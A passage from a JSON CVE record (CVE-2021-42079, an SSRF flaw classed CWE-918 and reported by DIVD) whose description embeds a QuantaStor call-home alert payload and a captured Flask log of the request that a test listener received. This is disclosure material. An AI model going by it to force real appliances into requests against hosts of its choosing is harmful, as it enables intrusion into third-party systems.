\\\"#aa2222\\\",\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"[122] test\\\",\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\\"text\\\": \\\"test\\\",\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\\"fields\\\": [ \u0026nbsp; \u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003{ \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"Alert Severity\\\",\\n     \u0026nbsp; \u0026nbsp;\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"CRITICAL\\\",\\n     \u0026nbsp; \u0026nbsp;\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": false \u0026nbsp;\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003}, \u0026nbsp;{ \u0026nbsp; \u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"Appliance\\\", \u0026nbsp; \u0026nbsp; \u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"quantastor (\u003c/span\u003ehttps://\u0026lt;HOSTNAME\u0026gt;\u003cspan style=\\\"background-color: rgba(29, 28, 29, 0.04);\\\"\u003e)\\\",\\n  \u0026nbsp; \u0026nbsp; \u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": true \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003}, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"System / Driver / Kernel Ver\\\", \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\\\", \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": false \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003}, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"System Startup\\\", \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"Fri Aug \u0026nbsp;6 16-02-55 2021\\\", \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": true \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003     }, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"SSID\\\", \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"f4823762-1dd1-1333-47a0-6238c474a7e7\\\", \u0026nbsp; \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": true \u0026nbsp;\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\u2003},\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003],\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\\"footer\\\": \\\"QuantaStor Call-home Alert\\\",\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\\"footer_icon\\\": \\\"\u003c/span\u003e\u003ca target=\\\"_blank\\\" rel=\\\"nofollow\\\" href=\\\"https://platform.slack-edge.com/img/default_application_icon.png\\\"\u003ehttps://platform.slack-edge.com/img/default_application_icon.png\u003c/a\u003e\u003cspan style=\\\"background-color: rgba(29, 28, 29, 0.04);\\\"\u003e\\\",\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\\"ts\\\": 1628461774\u003cbr\u003e\\u2003\\u2003\\u2003}\u003cbr\u003e\\u2003\\u2003], \u003cbr\u003e\\u2003\\u2003\\\"mrkdwn\\\":true \u003cbr\u003e\\u2003}\u0027, \u003cbr\u003e\\u2003#### FLASK REQUEST STUFF #####\\n\u003cbr\u003e\\u2003\u0027headers\u0027: {\\n\u003cbr\u003e\\u2003\\u2003\u0027Host\u0027: \u0027\u0026lt;redacted\u0026gt;\u0027, \u003cbr\u003e\\u2003\\u2003\u0027User-Agent\u0027: \u0027curl/7.58.0\u0027, \u003cbr\u003e\\u2003\\u2003\u0027Accept\u0027: \u0027*/*\u0027, \u003cbr\u003e\\u2003\\u2003\u0027Content-Type\u0027: \u0027application/json\u0027, \u003cbr\u003e\\u2003\\u2003\u0027Content-Length\u0027: \u0027790\u0027\\n\u003cbr\u003e\\u2003}, \u003cbr\u003e\\u2003\u0027args\u0027: ImmutableMultiDict([]), \u003cbr\u003e\\u2003\u0027form\u0027: ImmutableMultiDict([]), \u003cbr\u003e\\u2003\u0027remote_addr\u0027: \u0027217.103.63.173\u0027, \u003cbr\u003e\\u2003\u0027path\u0027: \u0027/payload/58\u0027, \u003cbr\u003e\\u2003\u0027whois_ip\u0027: \u0027TNF-AS, NL\u0027\u003cbr\u003e}\\n\u003cbr\u003e#### END FLASK REQUEST STUFF #####\u003c/span\u003e\u003ctt\u003e\u003c/tt\u003e\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-918\", \"description\": \"CWE-918 Server-Side Request Forgery (SSRF)\"}]}], \"providerMetadata\": {\"orgId\": \"b87402ff-ae37-4194-9dae-31abdbd6f217\", \"shortName\": \"DIVD\", \"dateUpdated\": \"2025-09-22T06:40:03.059Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2021-42079\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-09-22T06:40:03.059Z\", \"dateReserved\": \"2021-10-07T17:12:57.677Z\", \"assignerOrgId\": \"b87402ff-ae37-4194-9dae-31abdbd6f217\", \"datePublished\": \"2023-07-10T06:29:48.339Z\", \"assignerShortName\": \"DIVD\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}


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